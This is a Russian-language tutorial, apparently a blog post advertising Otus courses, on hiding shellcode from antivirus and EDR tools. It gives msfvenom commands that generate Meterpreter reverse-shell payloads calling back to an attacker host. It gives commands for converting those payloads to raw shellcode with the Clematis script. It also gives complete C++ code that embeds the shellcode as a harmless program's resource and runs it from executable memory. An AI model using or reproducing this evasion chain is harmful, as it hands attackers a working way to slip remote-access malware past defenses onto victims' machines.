Обнаружение шеллкода является одной из основных задач современных средств защиты. При выполнении традиционных PE‑файлов, таких как EXE или DLL, операционная система полагается на общесистемные проверки безопасности, которые часто включают антивирусные программы, белые списки приложений, песочницы и другие средства анализа. Благодаря этим проверкам, вредоносные исполняемые файлы не могут запускаться незамеченными.
Шеллкод — это небольшой фрагмент кода, используемый в качестве полезной нагрузки при эксплуатации уязвимости программного обеспечения. В отличие от традиционных программ, которые выполняются непосредственно операционной системой (например, выполнимых файлов EXE), шеллкод часто внедряется в память, что позволяет ему обходить такие механизмы безопасности, как брандмауэры, антивирусы и часто даже не использовать файловую систему.
По своей конструкции шеллкод всегда минималистичен, часто написан на языке ассемблера, что делает его высокоэффективным и трудно обнаруживаемым. Его основная цель — дать злоумышленнику контроль над взломанной системой, обычно путем запуска оболочки или выполнения произвольных команд. Также, шеллкод можно внедрить непосредственно в память, выполнить на лету и не сохранять на диск, что затрудняет его обнаружение традиционными средствами защиты. Кроме этого, шеллкод компактен, часто не превышает нескольких сотен байт, что затрудняет его анализ и обнаружение системами безопасности.
При этом немаловажно отметить наличие возможностей ухода от традиционных механизмов обнаружения. Так как шелл‑код не опирается на традиционные исполняемые файлы, он с меньшей вероятностью будет обнаружен антивирусными средствами или EDR, которые обычно фокусируются на известных сигнатурах вредоносного ПО и подозрительных PE‑файлах.
И, как мы уже говорили, работая в памяти, шелл‑код избегает создания файлов на диске, что делает его идеальным средством для эксплуатации уязвимостей.
Поговорив о преимуществах использования шеллкода для эксплуатации уязвимостей, далее мы посмотрим пару конкретных примеров сокрытия кода от средств защиты. Для начала рассмотрим инструмент, позволяющий спрятать шеллкод.
Преобразуем PE в shell
Итак, теперь, когда мы поняли, почему шеллкод предпочитают за его скрытность и эффективность, давайте поговорим о том, как можно преобразовать стандартные PE‑файлы, такие как EXE и DLL, в шеллкод. Этот процесс преобразования позволяет атакующим доставлять полезную нагрузку более быстрым и эффективным способом.
Здесь я сразу хочу отметить, что изменить формат файлов шелл кода можно и с помощью стандартного функционала msfvenom и описываемая далее утилита может применяться в тех случаях, когда вас по каким‑то причинам не устраивает использование функционала Metasploit.
Нам необходимо преобразовать выполнимые файлы в необработанные последовательности байтов, которые можно внедрить в память для выполнения. То, есть сначала мы создадим шеллкод с помощью все того же msfvenom, указав в качестве выходного формата файла exe или dll. Далее мы преобразуем его в набор байт, который может легко быть выполнен как шеллкод, но это уже не будет EXE или DLL, на анализ которых настроены многие средства защиты и следовательно мы сможем их обойти. Ну а затем мы активируем наш шеллкод на атакуемой машине, просто вызвав его выполнение.
Для начала создадим реверс шелл:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=адрес LPORT=порт –f exe > 8443.exe

Для выполнения преобразования воспользуемся Clematis. Это скрипт на языке Python, разработанный исследовательской группой CBLab, предназначенный для автоматизации процесса преобразования. Clematis позволяет превратить обычный PE‑файл (EXE или DLL) в формат, который может быть напрямую исполнен как шелл‑код, сохраняя при этом целостность исходной полезной нагрузки.
Общий принцип работы Clematis заключается в следующем: извлекаем необработанное двоичное содержимое из EXE‑ или DLL‑файлов, преобразуем это содержимое в последовательность байтов, совместимые с shellcode и оптимизируем конечный результат для обеспечения его готовности к внедрению в память.
Преимущества Clematis заключается в его простоте и эффективности. Сценарий может работать с несколькими типами PE‑файлов, что делает его универсальным инструментом для специалистов по кибербезопасности.
Для его установки достаточно выполнить:
pip install pefile lznt1
Затем преобразуем созданный ранее реверс шелл.
python clematis.py -f <PE_file> -o <output_file> [-g <true/false>] [-c <true/false>] [-p <parameters>]

Итак, мы подготовили наш bin файл. Здесь я сразу оговорюсь, что в простейшем случае тот же bin файл можно создать с помощью Msfvenom, выполнив:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin
Но скрипт в разделе выше предлагается использовать в тех случаях, когда прямое создание bin файла по каким‑либо причинам нам не подходит. Так или иначе, сейчас у нас есть готовый bin файл. Наша задача незаметно для средств защиты «протащить» и выполнить этот код на атакуемой машине.
Встраивание шеллкода в ресурс
Предположим, у нас имеется некоторая безобидная программа на C++ (условный Hello World). Как у всякого приложения под Windows здесь помимо прочего имеются файлы ресурсов. Добавим наш bin файл.

Далее дадим имя ресурсу — подойдет любое, но вам нужно будет запомнить его при вызове API‑вызова FindResource. Теперь вы можете увидеть в браузере ресурсов, что файл meterpreter.bin теперь включен в ресурсы вашей программы:

Теперь осталось самое важное это запуск шеллкода, который мы подселили в наше приложение. Для этого мы можем использовать небольшой набор понятных API‑интерфейсов Windows, позволяющих найти встроенный ресурс, загрузить его в память и выполнить. Сделать все это можно с помощью следующего кода:
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"
int main()
{
// IDR_METERPRETER_BIN1 - resource ID
// METERPRETER_BIN имя ресурса, которое мы выбрали ранее для bin файла
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();
return 0;
}
Если вы теперь скомпилируете свою программу и просмотрите ее с помощью Resource Hacker, вы увидите шеллкод, который вы только что встроили в выполнимый файл в качестве ресурса:

Заключение
Сокрытие шеллкода является важной задачей как для атакующих, так и для защитников. Первым необходимо незаметно пронести нужный код на атакуемую машину, а вторым наоборот, обнаружить данный код. В этой статье мы рассмотрели один из способов сокрытия шеллкода и выполнения его из ресурсов стандартного приложения. Такой способ может позволить обойти многие средства защиты (антивирусы, IDS, EDR и другие), имеющие не слишком жесткие настройки.
Если вам интересны практические аспекты защиты почтовых систем или анализ уязвимостей инсталляторов, приглашаю присоединиться к открытым урокам, которые проведут мои коллеги в Otus:
27 мая в 20:00 — Поднимаем сервис проверки писем
Развернете простой сервис для автопроверки почтового ящика и научитесь базовым приёмам выявления известных вредоносных индикаторов.18 июня, 20:00 — Реверс инжиниринг пакетных инсталляторов в Windows
Получите базовые навыки анализа пакетных инсталляторов и понимание их защитных механизмов.
А если интересно проверить свои знания по реверс-инжинирингу, рекомендую пройти вступительный тест.